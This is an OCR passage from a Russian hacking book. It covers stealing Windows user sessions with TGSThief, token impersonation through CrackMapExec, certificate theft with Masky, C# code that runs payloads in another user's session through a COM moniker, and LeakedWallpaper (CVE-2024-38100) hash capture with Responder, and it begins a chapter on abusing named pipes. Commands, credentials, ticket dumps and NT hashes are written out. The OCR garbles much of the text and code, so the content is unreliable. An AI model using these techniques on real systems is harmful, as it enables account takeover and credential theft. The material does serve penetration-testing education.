Сведения о се:ртификате nредост111ляются только
I том
случае, если сертификат исnолЬ1-оплся дпя nред1аритt11ьной проаерки nодnинностн .
Т ~nы прщарительной п роверки nоД11и н ностм, параметры 6млет11, типы шифрования и коды рвультата опре,делень1 а стандарте
Рис.
13.15.
Событие
RFC 4120.
4768
Еще потенциально могут быть интересны события
4672
и
4769.
Но согласитесь,
искать инструмент под каждое событие не очень-то и удобно? Поэтому я разра
ботал скрипт LogHunter (https://github.com/CICADA8-Research/LogHunter), ко
торый автоматически парсит множество интересных для нас событий и помогает
искать сессии пользователя.
Часть
248
11.
Системное программирование для хакеров
Есть и более «дедовский» способ. Можно просто подключить оснастку mmc.exe
к удаленному устройству и обрабатывать логи в привычном для нас приложении.
Процессы
Наконец, взгляните на процессы. К каждому процессу привязан токен, а в токене
содержится информация о том, от лица какого пользователя должен работать ис
полняемый файл. В таком поиске нам поможет
WMI.
Get-WmiObject -Query "Select * from Win32_Process" -Computer winpc I where ($_.Name -notlike
"svchost*"f I Select Name, Handle, @(LaЬel="Owner";Expression=($_.GetOwner(f .Userf f
ft -AutoSize
Этот командлет позволяет извлечь список процессов с устройства winpc, после чего
сразу же отфильтровать среди них служебные, которые нам не очень интересны, а
после вывести список процессов с именами пользователей-владельцев (рис.
Рис.
13.16.
Использование
WMI
13. 16).
для поиска сессий пользователей
Кража сессий
После успешного обнаружения сессии стоит попробовать захватить ее, т. е. вы
красть учетные данные. И здесь у нас появляется огромный простор для фантазии!
Воруем
TGS
Одним из исправно работающих способов кражи сессии в
TGSThief
Windows
я бы назвал
(https://github.com/МzНmOГI'GSThief), мы его разбирали в главе
Вкратце: если мы начнем взаимодействовать с
запросить билет
TGS
LSA
как
Logon Process,
5.
то сможем
для любой сессии, т. е. для любого пользователя, который
находится с нами на одном устройстве.
Глава
13.
Как работает угон пользовательских сессий в
249
Windows
Например, если у нас на хосте есть два пользователя: хакер и администратор, то
хакер с помощью
TGSThief
может попросить
LSA
администратора для какой-нибудь службы, например
выписать билет
CIFS
TGS
на имя
контроллера домена.
Однако возможные трюки этим не ограничиваются! В
служба krbtgt, которая принимает билет
TGT,
а отдает
Windows AD существует
TGS. Что, если мы выпишем
!z : \Shar~> . \ TG SThi ef. ехе
+] Current User SID: S-1-S-21-335919554f: 703283941-1907394624-500
+ J Current user : С RНJGЕ\А.дм ин~ стр.зтор
+] SeDebugP,·ivilege EnaЬled
+] S~ImpersonatePrivilege EnaЬled
+J Cur rent User SID: S-1-5-18
+] Current User: rн АUТНОRIТУ.\СИСТЕМА
+] System Impersonation Suпess
[ ! ] Ind ex: 0, Logon ID; 0004490(, Jsername: (RIN'3E\DC01S
[ ! ] Inde x: 1, Logon ID: 00027850, Username: tH
SERVICE\HSSQL$HIC ROSOFТ##Wl0
{ ! ] Index : 2, Logon ID: 00040384, username: CRINGE\DC01$
[!]
[!]
[!]
• (!]
[!]
[!]
[!]
(!]
[!]
f!]
(!]
{! }
[!]
[!]
[ !]
[ !}
{!]
[ !]
Index:
Index:
Inde x:
Index:
Inde x:
I ndex :
Index:
Index :
Index:
I ndex:
Index:
Index:
Index:
Inde x:
Index :
Index:
Index:
Index:
З,
Logon 10: 000261А€1, L1sername: NT ALITНORIТY\AНOHW\HЬIЙ ВХОД
4 , Logon ID: 00048ЗF9, useгname: CRINGE \Адм ини стр а тор
S, Logon ID: 0003294(, Username: CRHJGE\DC01$
6, Logon ID: 00000ЗЕ7, Username: CRINGE\DC01$
7, Logon I D: еО082906, Username: CRINGE\DC01$
8 , Logon I D: 00040S4E , Username: CRINGE \[)(01 $
9, Logon ID : 002В628В , Username: \<lindow Manager\DWМ-2
10, Logon 10: 0026СЗF0, U~ername: CRIN6E\DC01$
11, Logon 1D: 00010(43, Userпdme: window /'>1anager\D\.Н·1-l
12, Logon 10: 00289(38, Username; CRHJGE \petka
13, Logon 10: 000003Е5, User·ndme: NT AUHIORITY\LOCAL SERVICE
14, Logon ID: 00286204, Username: windo:.1 f>tanager\D\.JH- 2
lS" Logon ID: 000829В9, Username: CRPJGE'.DC01$
16, Logon 1D: 0000АбЕЗ , Userndme: \
17, Logon I D: 00289С4С, Usernam~: CRINGE\petka
18, Logon ID: 00010D59, Userndme: VJindow мanager\Dw.'>1-1
19, Logon ID: 000003Е4, Username: CRINGE\DC01$
20~ Logon ID: 09082983, Useгname: CRINbl\DC01$
[?} Enter inde x of logon session: 12
{ ! } You 've selected session with Logon ID: 00289(38
[ ! ] Logon Process Name: 2mQ78 uGq7Xs IRl Jgy99BDUHcpбnD66YvCFVJnjQdU R
{ +] Curr ent Luid: 000483F9
нandle: 000002198E00DFF0
[ +] Kerberos Package: 2
f >1 J:nt'""r <:;DN•
kгbtgt:/~~i~&e. lab
L +J Si-'1,1 ' r.:rot:gt i c.r 1nge. lab \'al idated
[+] LSA Handle, АР,• LUID are valid
][ +] Asking for TGS Su ccess
[ +] Ticket : doIESDCCBOygAwIBBaEDAgEWooID/ jCCA/ phggP21'111D8qADAgEFoQ-..,;bCkNSSUSHRSSHQUK iHzAdoA.1'\CAQKhf jAUGwZrcmJ0Z3QbCkNSSUSHRS~
EhHZmCdvt I / kvXcVNXWGzOUTЗnrl ЗaohZU0W7Xw4Ul>I/ / Ы h l mxF Umz nvSdGu SJ lWF J I FphXHd50xqrhynD4dML i Pecf bml 8 i 5+0l YMCCQNQEWB Е npknNS+ J бРUС
f\4 2f3v +mA lbhF k+Oxs Е km4XuVUYkc vxt vj 08 Tbt hhuuwZ Се I с L 0Е КУрС бs Е hPRuGvH JC r8SHEGQwTbbGpRB8SwVNa4AZnq 7уА Т mkyz S+Ua ub80vtбwGaНМ4l k +Е
Wi zDE4aHЗowOz ev8Ql 9SOAUBh z К 0х9 / lN/ Х Т 9 SYHN 749s +dve УЕ gбa9 I.J 1еЕ Q7s kF 81 / w+ev I 4hVHa +qPf f>\mF r / f vwt +0t PI f St I Sa jDs tCgQN lmS 2 /0D6A2 SbRc
\..iqxqQy I IoyEGkl 53 Т gBLqrpl SxNOVT s fD0B/ wT 1 q.! t 1 j / 6k / QP I Kw+B RQaЬi NfCЫm7ughgDZ4qDHkf8W08R J xf j SrmpRmj +f P4HsSF v aSRF 2POF egQi ykFqk4 uj
do84F bnnX/ 0YbrDk y2qF ZGabc Z j SVwhenC 1k023 i 4 t 72 uc TS / d9 v sz 61 yt + S8R13 SL 20ZOmXKmks ko 7S So+ YxWyEQt SEWxUdC s9qE 1 bkH/ К urE 34 v IYvEZgyBП
bXCA/kF / 4APЗyAEZB4Pm /8gK 7 2GS KRCRnsgi vK8P ICpdtbr 1ydrHi 1 Y/I\X3"10n2Skn/ :omUT a9kPuzGUquHWw2 l 7 aNPX5wvQQAVjCTCkOSs18qhwHwJfwKfSrqSE
lEUvtUWXc Z+k2 /VT c4rUa Т +х jWAe z H1'1owNL eOPw 7 Т f ХЬС sc а 1 aYonHUkwl dHЬQ9 s PNqNo9e J uSGusHQP9 l 2yCv6 7kE fQnpvUo4Hdf>П HaoA1'1CAQC i gdl Egc99gc~
is i ТF SoyGtS ihDB sKQl J J Т kdF LkxSQq I 51-1B(gд"oJ I Вда Е JHAc ЬВХВ 1 dGt how,:: DBQBA4QAApR EYD: I wHj НхМТ E4NTQyNzNyWqYRGA8yHDI z 1-Н Е хОТ Awf>1j с :1'\l qn Е R~
[ t] Ls aRegisterL ogonProcess Success. Lsa
ezзQbCkNSSUSHRS5'1QUI.
1[?] Injec t Тicket ? (Y/N)
~
![ +] I f1jected
i{ +] Success
l
'z : \Share>kl ist
]текущим идентифик а т ором входа является 0:0x483f9
Кэw и рованные б и леты:
'#0 >
(1)
Кл и ент:
petka @ CRINGE. LA8
Сервер: krbtgt / CRINGE. LAB @ CRINGE. LAB
Т и п ш и фрован и я KerЫicket: AES -256-C TS-HHAC
фпаr и б и пета 0х40е10000
->
SНAl-96
f orwa rdaЬl e renewaЫe
Рис.
13.17.
initial pre authent name c anonicalize
Использование
TGSThief
Часть
250
билет
на службу
TGS
11.
Системное программирование для хакеров
Сможем ли мы получать другие
krbtgt?
Ответ: да,
TGS?
сможем!
Фактически если у нас на руках есть
полноценному билету
рис.
13 .1 7
TGS
на службу
krbtgt,
то это равносильно
Таким образом мы сможем красть чужие
TGT!
TGT.
На
показан пример эксплуатации.
Манипуляции с токенами
Имперсонация чужих токенов
dows.
Атакующий,
-
это нестареющая классика эксплуатации
имея достаточные привилегии,
нацепляет
на свой
Win-
процесс
чужой токен и работает от лица другого пользователя. Кстати, эту атаку мы прово
дили в главе
4.
Благодаря широкой известности этой атаки для нее написано достаточно много ва
риантов РоС. Причем существуют и необычные, например эксплуатация через
API
WTS
(https://github.com/OmriВaso/WTSimpersonator). Процесс может запускаться не
через CreateProcessWithTokenW (), а через UpdateProcThreadAttribute () (https://cocomelonc.
github.io/tutorial/2022/10/28/token-theft-2.html).
И вишенкой на торте идет
легко (рис.
CrackMapExec
с модулем
Impersonate.
Использовать его
13.18, 13.19).
,·---( ЬQщ.
t "'У • t1 ,1 ;
... /Cr•c~pExec ]
-s po('try run crackmapexec smb 192.166. 212 .14 2
sмn
sмв
H1P(l!SON .• ,
Н-1РЕН~N
...
lMPER,ON
IMP[RSON
If.1P[R50'1
Il-1PERSON
IMPERSON
I MP[RSO~
l MP[RSON
IMPERSON
IMPfR S.ON
INPf.RSON
.. ,
••.
...
.. ,
...
.. ,
.. ,
...
...
...
192 .168.2 12.142
192.168.212.142
192.168 .2 12,142
192 , 168 . 212,142
192 . 168 . 212 .142
192. 168. 212. 1'-2
192.168.212.1'-2
192.168.212.142
19 2.168 .21 2 .1•2
192 .168.2 12.1•2
192.168.212.142
192.168. 212. 142
192.168.212 .142
192.168 .212.142
445
445
445
445
445
'-'-5
4'-5
4'-5
,.,.5
,.,.5
,.,.5
,.,.5
445
445
,1
ADCS01
AOCSOl
AO(S01
AO(S01
A0CS01
ADCS01
AOCS01
ADCS01
AOCSOl
AOCSOl
1·011'
IJ '(;-. :<111"1•..Jri.1.'
м )mpe,r sonate
i • ! W11н1ow s 10.0 Buttd 20 31.8 .11iб4 (name-:AOC501) (domJir1 : poudla1·d
[+) pot,til<1rd . w1zard\ro11 : 0ctobet·2 A22 (P\om З(I !)
Uploadi,1g lmpe-rso,ыte . t'xr
[+] ImpeJ·sonate biпary StlC CC' SS ful\y нploJded
i •) li$ting
avditdЫe pr1m.эry
Pri m,tr\' t o l<t.•11 tD : О
JJrim,н·y tol<('l1 ID : 1
P1· imary tokv11 rt) : l
ro:
з
P1·im,н· y tol<c11 10 :
Pr ima,ry tnkcr1 ID :
Pr imary tokeп ID :
Pri m,"tt'y tol<N1 ro :
4
5
6
7
Pri mar y tol<c11
АОС501
AOCSOl
ADCS01
•. дtкsе,1 _
tokens
NT AUJHOR1 TV/SYSПM
POUULARO /A1 l mi пi -.t 1· .;ttor
\<'limlow м.-щ ~1g~r / 07JM ··2
wi1"Jow м.,11.1gc-r/OW,t.t - 1
POUDLARD/ 1·011
NT AUTHORITY / N[Т\'IOIШ S[RV IC[
NT AUTHORIТV/lO(Al SERVICE
NT AUTHORITY / IUSR
[+] lrnperso11ate b1n ary s"ccessft1\ly deleted
Рис.
13.18.
Список токенов
с(
ho11c\ay'i) ka\ l )-( ~/Cr~cklupExec J
-S poetJ'\• run c1·ackmapexec smb 192.168.212.11.2
-tl
'roo'
f•J
-р
'Octot)('t·.?0.:'} ' ·'-1 impersonate
ADCS01
ADCS01
ADCSOl
,, AOCS01
ADCSOl
11t
~~p~.RS~~,§:.:," 192.1•6~: 212./~2 ' Щ
АОШl
!•] Impersonate
'," .. ::..~-~~
EXEC• ~Yiho,1м1~
[ •] Uploading lmpe,rsonate.exe
J Impersonate binary successfully up\oaded
[ •] Esecuting wt,oami as NT AUTHORПY/SYSТEM
(♦
' д0СS01
~,uthority\system
Ыnary
successfull y de\eted
1.~ - .: ~"т.'. ;.,.,;.~_ .....__r--- ,
13.19. Абьюз токенов
Получить список токенов на системе
crackmapexec
#
TOKEN•0
[+] poudlard .wizard \ron:OctobL' r 20 22 (PwnЗ,J !)
Рис.
#
о
Windows 10,0 Buitd 203'-8 х64 (name:ADCS01) (domain:po11d\ard
192.168 .212 .142 ,.,.5
SМВ
192.168.212. lt,2 t,t,5
IMPERS()N •.. 192.168.212.142 t,t,5
IMP[RSON ••. 192 . 168,212.142 445
IMPERSON . •• 192.168.212.1'-2>445
IMPERSON • • , 192 . 168 .2 12. 142 4•5
sме
smЬ
10.10.10.10 -u 'Administrator'
-р
'October2022'
-М
impersonate
-р
'October2022'
-М
impersonate
Вьшолнить действия от лица другого пользователя
crackmapexec
smЬ 10.Е.10.10
-u 'Administrator'
ТОКЕN=<номер желаемого токена> ЕХЕС=<"команда для запуска">
-о
Глава
Как работает угон пользовательских сессий в
13.
crackmapexec smЬ 10.10.10.10 -u 'Administrator'
EXEC="whoami"
-р
251
Windows
'October2022'
-М
impersonate
-о ТОКЕN=О
RemotePotatoO
RemotePotato0 -
это эксплойт полузапатченного бага, позволяющий повышать
привилегии. Почему «полу-»? Потому что у меня на
Windows 11
обновлениями все сработало, хотя в
что все пофиксили!
Microsoft говорили,
с последними
Если вкратце, то этот инструмент злоупотребляет процессом активации объектов
DCOM,
в ходе которой происходит аутентификация. Она ловится и успешно реле
ится, например в службу
LDAP. Эту интересную атаку описывал
snovvcrash в статье «Картошка-О. Повышаем привилегии в AD
RemotePotato0» (https://xakep.ru/2022/08/26/remotepotato0/).
мой коллега
при
помощи
Однако если NТLM в домене отключен либо у вас нет возможности настраивать
сторонний хост с редиректом резолва ОХID-запросов, то обращу внимание на
RemoteKrbRelay
(https://github.com/CICADA8-Research/RemoteKrbRelay/tree/
main). Инструмент изначально задумывался для удаленного релея Kerberos, но
никто тебе не мешает запустить его и против локального компьютера. Поддержи
вается возможность релея в
LDAP, SMB, НТТР, что практически полностью
RemotePotato0, разве что используется Kerberos, а не NТLM.
ряет функции
повто
Запрос чужих сертификатов
Раз мы заговорили об
AD CS,
сию пользователя при заходе в
напомню, что можно принудительно триггерить сес
AD CS,
чтобы на него выписывался сертификат. Для
этого можно воспользоваться утилитой
рис.
Masky
(https://github.com/Z4kSec/Мasky,
13 .20):
masky -d vostok.street -u dcom -р 'lolkekcheЫ23!' -dc-ip 192.168.137.139 -са
"dc0l.vostok.street\vostok-DC0l-CA" -Т user --no-pfx --no-ccache 192.168.137.139 -v
# 192.168.137.139 -
,--{ J'МC8wi1't
..,,...., 1
~· • мiky h4 YCJstoll,,tn-et
1
v
1 __ _
-11
, -1 _
комп,
с которого дампить
dc- - р ·to\~,rtlthrЫl)'.
dt • IP t9l . lM , 1]1 . 11♦ -<,. "dc e 1.vos to~ .,tr~rt\vos to4l•OC:f1 •(A~
_
1 IVI 1/ _• / _ 1 1/ / 1 1 1
1 1 1 1 ( _1 \_ \
4 I_ I 1
1_1 l_ l\_ ,..J_j_l\_\_ ,
[,.) L. . . i"'J
1
1_1
.1.:i.1
е,Н••
.,,
r•J 1 t•rs••{•) \...,..
ru1 lnitit1H1•ttм •f 1t. 1,-,.м,.оt (•11• : 1)
fo) (19l . tt8 . 1J7 . \J•)
fc,J (191,\U,'111,Ht)
( ц } (ltl.t ... 1)7.139)
fa1 (191.tU.117 . 1]9)
fo} (192.1 .. ,137 . tЗt)
[ • J (Jt2,\И, 1J7 . tП)
{о\ (1"1.118.111.tJt)
(oJ (1tl,1M,JJ7.13t)
5t•rt ef t•rs•t ,rec:•ss i -,:
f - •st.y •f.-nt . i.,.r, •i\\ Ь. ~\~ i•: \W i nct..s\l ....\•1s\o.aod . •••
ТМ aAUJ 4.-t . . ,,ut wltt М •t•l'М 1111 : \ 8 i ~\ t-,\1uydw-, . JIJIC
Hw 8AUy ~ t •r,..rs ■i.t\ Ь. stoNd \а : \ W i . . . . . , \ t - ~ j t . ,-s
n.. a.st., •pnt •rc-t• wi\\ м "tомм in: \8i.._1\l-,\•rc• - t1t
cur~t .-..r ..._ te М \к•t U8int1н•t•r. •tt ... tlnt: to rw ,..,,у •i~t ...
~dlJ .tJ"8t ws suc:c:•st.fvty "tcwded ltн 0 \■iadc8t.\J ...\s\11cw.-d . ••• •
t"8 цr,ic:• ' ff,,..... ' u, ,cкc:nsfu\r c:r.•tM
t•J (ttl.lИ.1J7 . 1Jt) 111М1 •.,,,..... . . . restArtM fer ,.....,.. •••c:utl81\
(ol (tt2.1U, 131,1Jt) Т11е 'ffi--• иrv1c:• 8ti1Wry ~ttt hs ~ ,._..,-4
f"'I (tt2.tM, 1)7 . 1Jt) 1 •нr ••••1• us MJ•cttod
(о) (JtJ.J68.JJ7 , 1Jt) St~rt 11r.nst1111 нх •f Н141 •••r ' v••telt\4c:c.'
[ot1 (192.168.137 . 111) 0.tti. . • 1&1 wJa t " f•\\•1-C kDC 18': 1t2. 16&. 117 . 11t
{•1 (1t2,1 ... JJ7 . 1Jt) Gl.tMM ccACht fer the us•r ' vostelt.,tr.et\«••
!•1
(1t2.111.111.1Jt) a.t-.NII •1 ...... ,., t.,. •••r · •••tet.strмt\*•' : a1,1s"1.,.....2a.w1c:2~•,...._.
rvJ (tt2.t68 . U7 . 11t) f.nl8 11rмess1,. •rx •• tM . . . ,. ·•••••'••·
[toJ (1tJ.1U.U7 . 13t) (.. . ef 1••rpt Jnc:•111. .
[•1
f.a1t1AC ;;,·.:,
~·~~'
~;~~,;
Рис.
13.20.
Использование
Masky
- J 11мr
'"' •'•
,.о• •·••· ,
N1.1Ы IJJ IJ'I
Часть
252
Masky
PFX,
который можно использовать в атаках
Причем модуль поддерживается и в
CrackMapExec
(рис.
Pass the Certificate.
13 .21 ).
Поиск СА
one ldap 10.10.10.10 -u adrnin
#
Системное программирование для хакеров
заходит на хост, получает список сессий, после чего для каждой запраши
вает сертификат
#
11.
-р
adrnin
adcs
-М
Использование
one
smЬ
10.10.10.10 -u adrnin
c;<:;~:;?:U~•~~~c~~~:=~~i2 .168. 212 .1н
SМ
LOAP
192.168.212 . lЗr. 41.S
192,168. 212.13'- 389
DC11
DCtt
IU)CS
IUICS
-р
adrnin
-М
masky
-о СА="СА
DN"
-u ron р October2122 -N "d,s
[•) W1ndOW$ 18.1 BuHd 203•8 ic6, (naee :DCll) (d08•1n :poud\ard .•izard) (s.igning :fa\se)
{ ♦ J poud\.ird . wizillrd\ron;O<. tob~r2122
FOtJnd Pkl tnroHNnt S.n•r : ADC.501 , poud\ilrd ,wi.i:•rd
Found сн : poud\ard-ADCStl~CA
-р
-и
•О CA• 'AOCSll .poud\i11rd .wildГd\poud\,1rd-AOCSt1 -u.·
(5.МВvt:Fa\!.e)
c;(:;::~;;v ;:,:.. ~~~~~~~=~~~-168.212.162 -u ron
Octobe-r2122
&illSky
192.168.212.1,2 41-S
AOCSll
{•J Windows 11.8 Bui\d 213•8 •Ь• (n•м : АОС.581) (do■i/lin:poud\•rd. ■ нard) (signing:Fo1\1,~)
192.168.212.lt.2 ,z.s
ADCSll
(+) poud\•rd.wil•rd\ron:October2122 ( ~ d ! )
[•J Running М.sky on the t•rgeted host
192.168.212 . l't2 :.:.s
AOCStl
МЯ(У
192.168.212.1'2 r.t.5
ADCSll
(•) 2 session(s) successfu\ly hij•cked
М1К'1
(•J Attмptin! to retrteve НТ h•sh(es) vi• РК!NП
мsn
192.16!.212.14io2 "t.5
ADCSl1
M s«Y
192 .16!. 212. lt.2 r.t.5
ADCSll
poudlard\ron f6S9S3Saitladfdbc297197e21873cflb
192.168.212.1'2 41,65
ADC.511
JtASaCY
poud\ard\ad8iiпietr.ator f659535i11lo2.i:dfdbcl97197•llt73cftb
МЯУ
192 . 1бе.212.11о2 :.i.s
(+) 2 NТ h.ash(es) successfutl.y coHected
ADCStl
!М8
SМ
Рис.
13.21.
Эксплуатация
Masky
(SМВvt:F•\s~)
из СМЕ
SeMishaPrivilege
Этот код можно использовать для запуска произвольных файлов от лица сторонне
го
пользователя
на
системе.
При
этом
не
нужно
SeDebug/Selmpersonate. Изначально код шел как
Moniker ЕОР, но к нему добавили всякие проверки.
явно
назначать
LРЕ-эксплойт
привилегии
СОМ
Session
if ( imp_token_il >= process_token_il
&& (imp_token_il >~ SECURITY_МANDATORY_HIGH_RID
11 EqualSid(process_token_user, imp_token_user)))
ShellExecuteW(NULL, L"open", path, NULL, NULL, SW SHOW);
Поэтому теперь это просто способ абьюза сессий, если есть учетка локального
администратора!
Единственный минус
-
исполняемый файл будет запущен в неинтерактивном ре
жиме. То есть из текущей сессии мы будем видеть только успешно запущенный
процесс, а в целевой сессии будут показываться GUI-приложения (если есть). По
этому таким способом удобно запускать любые реверс-шеллы.
using System;
using System.Runtime.InteropServices;
namespace IHxHelpPaneServer
static class Program
Глава
13.
Как работает угон пользовательских сессий в
Windows
253
static void Main ()
var path = "file:///C:/Windows/Systern32/and.exe";
var session = Systern.Diagnostics.Process.GetCurrentProcess();
// Здесь указывай номер желаемой сессии, в которой запускать пейлоад
Server.execute(З.ToString(), path);
static class Server
[Cornlmport,
Guid("8cec592c-07al-lld9-Ы5e-000d56Ьfe6ee"),
InterfaceType(CorninterfaceType.InterfaceisIUnknown))
interface
IНxHelpPaneServer
{
void
void
void
void
DisplayTask(string task);
DisplayContents(string contents);
DisplaySearchResults(string search);
Execute([MarshalAs(UnrnanagedType.LPWStr)) string file);
static void execute(string new_session_id, string path)
puЬlic
try
(
IНxНelpPaneServer server = (IНxНelpPaneServer)Marshal.
BindToMoniker (String. Forrnat ("session: {О} !new: 8cec58ae-07al-lld9-Ы5e000d56Ьfe6ee", new_session_id));
Uri target = new Uri(path);
server.Execute(target.AЬsoluteUri);
catch
Перечислять доступные сессии можно с помощью
дую
воспользоваться
IНхЕхес)
Пример
или
WTSEnurnerateSessions (). Рекомен
моим
вариантом
эксплуатации
я
IHxExec (https://github.com/CICADA8-Research/
PowerShell (https://github.com/Leo4j/SessionExec).
записал в виде ролика: https://www.youtube.com/
на
watch?v=bК3ufqZxkxc.
Leaked Wallpaper
Эта уязвимость задокументирована как
автор блога
CVE-2024-38100. Изначально ее обнаружил
decoder.cloud (https://decoder.cloud/2024/08/02/the-fake-potato/), одна-
Часть
254
11.
Системное программирование для хакеров
ко его команды у меня не заработали. Впрочем, автор в конце статьи обратил мое
внимание на то, что он нашел интересный класс, который позволяет менять обои
других пользователей.
И тут все встало на свои места! Меня осенило. А что, если вместо пути до файла я
предоставлю
UNC Path?
В таком случае обои не установятся, но пользователь из
целевой сессии принудительно обратится по
UNC Path
и отправит запрос на аутен
тификацию, который мы сможем перехватить, например через
Responder.
Идея оказалась рабочей и позволяет получить хеш NetNТLM. Причем эксплойт ра
ботает даже от лица пользователя с низкими привилегиями.
Предлагаю рассмотреть пример эксплуатации. У нас есть учетная запись exploit,
которая абсолютно не привилегированная (рис.
13.22).
На компьютере также сидит привилегированная учетка
Рис.
13.22.
-
администратор (рис.
13 .23 ).
Привилегии пользователя
C:\Release>quser
ПОЛЬЗОВАТЕЛЬ
ID
1
3
СЕАНС
администратор
console
>exploit
СТАТУС
БЕЗДЕЙСТВ. ВРЕNЯ ВХОДА
Ди ск
Активно
03.08.2024 17:41
03.08.2024 17:44
C:\Release>.
Рис.
13.23.
Список сессий на устройстве
Для кражи его NetNТLM-xeшa запускаем
Responder.
responder -I ethl -v
Теперь
используем
эксплойт
триггер им аутентификацию (рис.
(https://github.com/МzHmO/LeakedWallpaper)
13 .24 ).
. \LeakedWallpaper.exe <session> \\<Kali IP>\c$\l.jpg
#
ЕХ
.\LeakedWallpaper.exe 1
\\172.lб.0.5\c$\l.jpg
и
Глава
13.
Как работает угон пользовательских сессий в
Рис.
13.24.
Windows
255
Успешная эксплуатация
Заключение
Конечно же, приведенный здесь список способов поиска учетки все равно не пол
ный. Я попытался объединить наиболее необычные, красивые и просто эффек
тивные варианты. Хотя зачастую получается просто сдампить процесс lsass.exe
и извлечь учетные данные из него. Впрочем, согласитесь, лучше знать, уметь и не
пользоваться, чем не знать, не уметь и не пользоваться!
ГЛАВА
14
Используем Named Pipes
при атаке на Windows
В
Windows
есть много средств межпроцессного взаимодействия. Одно из них
именованные каналы, в народе
-
пайпы. Давайте попробуем направить всю мощь
ввода-вывода на благо пентеста и научимся злоупотреблять этим механизмом со
общений. Пусть никто не уйдет без эскалации привилегий!
В системе крутится огромное количество процессов: системные вроде explorer. ехе,
RunTimeBroker. ехе, а также наши любимые браузер,
Steam
и МалварьПисатьБыстро
Студия.ехе. Большинство из них хранят молчание и не делятся никакой информа
-
цией с внеu111им миром
считайте, такие процессы-интроверты вроде нас с вами.
Однако бьнсtст и иначе. Некоторые процессы должны передавать данные своим
сородичам: информацию о состоянии
CPU,
разрешении экрана, нажимаемых сим
волах на клавиатуре.
Простейший способ взаимодействия между двумя общими процессами
файла. Один процесс пишет, другой
-
-
создание
читает. Впрочем, это не самый удобный
способ общения, правда? Здесь возникают проблемы с синхронизацией, атомарным
доступом, настройкой дескрипторов безопасности ...
Поэтому разработчики
Windows
придумали чуть более удобный способ передачи
данных и изобрели огромное количество сущностей, позволяющих передавать дан
ные между процессами. Одна из этих сущностей
-
именованный канал
(Named
Pipe).
Что такое
Pipe
Пайп представляет собой объект типа FILE _OBJECT, управляемый специальной файло
вой системой с именем
NPFS -
Named Pipe File System.
Пайп позволяет писать и
считывать из себя данные разным процессам, что и решает задачу их взаимодейст
вия. На сетевом уровне передача данных происходит поверх протокола
SMB.
Создание именованного канала происходит с помощью функции createNamedPipe ()
(https://learn.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbasecreatenamedpipea).
Глава
14. Используем Named Pipes при атаке на Windows
НANDLE
CreateNarnedPipeA(
[in)
LPCSTR
lpNarne,
[in)
DWORD
dwOpenМode,
[in)
DWORD
dwPipeMode,
[in)
DWORD
nМaxlnstances,
[in)
DWORD
nOutBufferSize,
[in)
DWORD
nlnВufferSize,
[in)
DWORD
nDefaultTimeOut,
257
[in, optional) LPSECURITY ATTRIBUTES lpSecurityAttributes
);
Давайте посмотрим, за что отвечает каждое из полей:
□ lpNarne -
имя создаваемого пайпа. Оно может не быть уникальным. Например,
в системе без проблем может быть создан пайп с именем 1123 и следом за ним
еще один 112з. Взаимодействовать клиенты, конечно же, будут с тем пайпом,
который был создан раньше;
□ dwOpenМode -
режим работы пайпа
( ввод/вывод,
только вывод или только ввод)
плюс дополнительные флаги. Среди них выделяется FILE_FLAG_FIRST_PIPE_INSTANCE,
который позволяет ограничить возможность создания пайпов с одинаковым
именем. Впрочем, к этому флагу мы еще вернемся;
□ dwPipeMode -
режим работы пайпа. Пайп может передавать поток байтов или по
ток сообщений. Здесь же задается возможность контроля подключения удален
ных клиентов и «удержания» клиентов до тех пор, пока все данные не будут
считаны или записаны,
□ nМaxinstances
-
-
так называемый режим блокировки;
максимальное
количество
экземпляров
канала.
Определяет,
сколько пайпов с таким именем может быть в системе. Можно указать PIPE_
UNLIMITED_ INSTANCES, чтобы ОС сама выбрала это количество, основываясь на дос
тупных ресурсах;
□ nOutBufferSize, ninВufferSize -
позволяют указать размеры в байтах выходного и
входного буфера именованных каналов. Можно указать О, тогда система будет
использовать размеры по умолчанию;
□ nDefaultTimeOut ции
длительность интервала ожидания в миллисекундах для функ
Wai tNarnedPipe ();
□ lpSecurityAttributes -
атрибуты защиты. Кстати, это единственный механизм за
щиты в пайпах. Если в качестве этого значения передавать NULL, то к пайпу смо
гут получить полный доступ члены группы ЛА, система и создатель пайпа, а
доступ на чтение будет у Everyone и учетки Anonymous. Короче, если при создании
пайпа вы не указали дескриптор безопасности, то данные из этого пайпа сможет
читать кто угодно.
Для работы с пай пом применяются еще некоторые функции (ссылки на документа
цию):
□ connectNarnedPipe ()
(https://learn.microsoft.com/ru-ru/windows/win32/api/
namedpipeapi/nf-namedpipeapi-connectnamedpipe);
Часть
258
□
11.
Системное программирование для хакеров
wai tNamedPipe () (https://learn.microsoft.com/ru-ru/windows/win32/api/winbase/
nf-winbase-waitnamedpipea);
□ DisconnectNamedPipe ()
(https://learn.microsoft.com/ru-ru/windows/win32/api/
namedpipeapi/nf-namedpipeapi-disconnectnamedpipe).
Первая функция дает возможность серверу ждать подключения клиента (клиент
подключается «прозрачно»
ИЛИ
-
ему достаточно указать пайп в вызове
createFile ()
CallNamedFile () ).
BOOL ConnectNamedPipe(
НANDLE hNamedPipe,
LPOVERLAPPED lpOverlapped
Поля:
□
□
hNamedPipe -хендл на созданный на сервере пайп;
lpOverlapped -
позволяет
контролировать
асинхронные
операции,
связанные
с клиентскими действиями на пайпе. Например, чтобы поток управления воз
вращался сразу же, а не после считывания всех байтов функцией ReadFile ().
Соответственно, функция-антоним
-
это DisconnectNamedPipe (). Она дает нам воз
можность отключить клиента от пайпа.
WaitNamedPipe() дает клиенту возможность ждать подключения к серверу. Например,
пытаться подключиться до тех пор, пока пайп не освободится или не пройдет пять
минут.
BOOL WaitNamedPipeA(
[in] LPCSTR lpNamedPipeName,
[in] DWORD nTimeOut
);
□
lpNamedPipeName -
□ nTimeOut -
имя пайпа;
время в миллисекундах, в течение которого функция будет ожидать
доступности пайпа. Можно указать NМPWAIT_WAIT_FOREVER для бесконечного ожида
ния.
Пример клиента и сервера
Для общего понимания предлагаю посмотреть, как может выглядеть передача стро
ки с сервера на клиента.
// Server.cpp
#include <Windows.h>
#include <iostream>
int main() {
wchar_t pipeName[] = L"\\\\. \\pipe\\mypipe";
wchar_t message[40] = L"Hello World";
НANDLE serverpipe = NULL;
Глава
14.
Используем
Named Pipes
при атаке на
259
Windows
serverpipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE ТУРЕ MESSAGE
PIPE_READMODE_MESSAGE I PIPE_WAIT, 1, О,
BOCL isPipeConnected = FALSE;
